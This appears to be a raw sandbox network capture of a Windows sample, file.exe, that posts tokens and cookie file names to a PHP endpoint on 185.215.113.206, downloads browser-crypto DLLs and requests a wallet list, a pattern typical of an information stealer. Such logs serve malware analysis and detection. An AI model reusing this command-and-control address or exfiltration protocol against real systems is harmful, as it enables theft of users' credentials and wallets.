Nov 12, 2024 08:30:24.876655102 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file"------GHDAAKJEGCFCAKEBKJJE--
Nov 12, 2024 08:30:25.692677975 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49809	185.215.113.206	80	2928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:30:31.203980923 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 185.215.113.206 Content-Length: 3083 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 08:30:31.204185009 CET	3083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 12, 2024 08:30:32.604490042 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:32.816675901 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file"------DGHJECAFIDAFHJKFCGHI--
Nov 12, 2024 08:30:33.581010103 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:34.161082029 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:34.436821938 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 08:30:34.436834097 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 12, 2024 08:30:34.437028885 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 12, 2024 08:30:34.437040091 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 12, 2024 08:30:34.437050104 CET	224	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3
Nov 12, 2024 08:30:34.437608004 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 12, 2024 08:30:34.437617064 CET	212	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>
Nov 12, 2024 08:30:34.437622070 CET	1236	IN	Data Raw: 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 8b 48 10 ff 15 00 80 0a 10 57 ff d1 Data Ascii: t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO
Nov 12, 2024 08:30:34.437632084 CET	212	IN	Data Raw: 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc Data Ascii: >>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E
Nov 12, 2024 08:30:34.437975883 CET	1236	IN	Data Raw: 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 0f 8b 4d e4 88 11 83 fe 01 0f 84 24 Data Ascii: }}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]
Nov 12, 2024 08:30:36.137132883 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:36.412456036 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 08:30:37.408325911 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:37.683082104 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 08:30:38.522710085 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:38.875159979 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 08:30:41.270654917 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:41.718036890 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 08:30:41.906441927 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:42.182142973 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 08:30:42.824160099 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 08:30:43.601711988 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:43.662013054 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 2d 2d 0d 0a Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="message"wallets------BFBAAFHDHCBGCAKFHDAK--
Nov 12, 2024 08:30:43.939438105 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 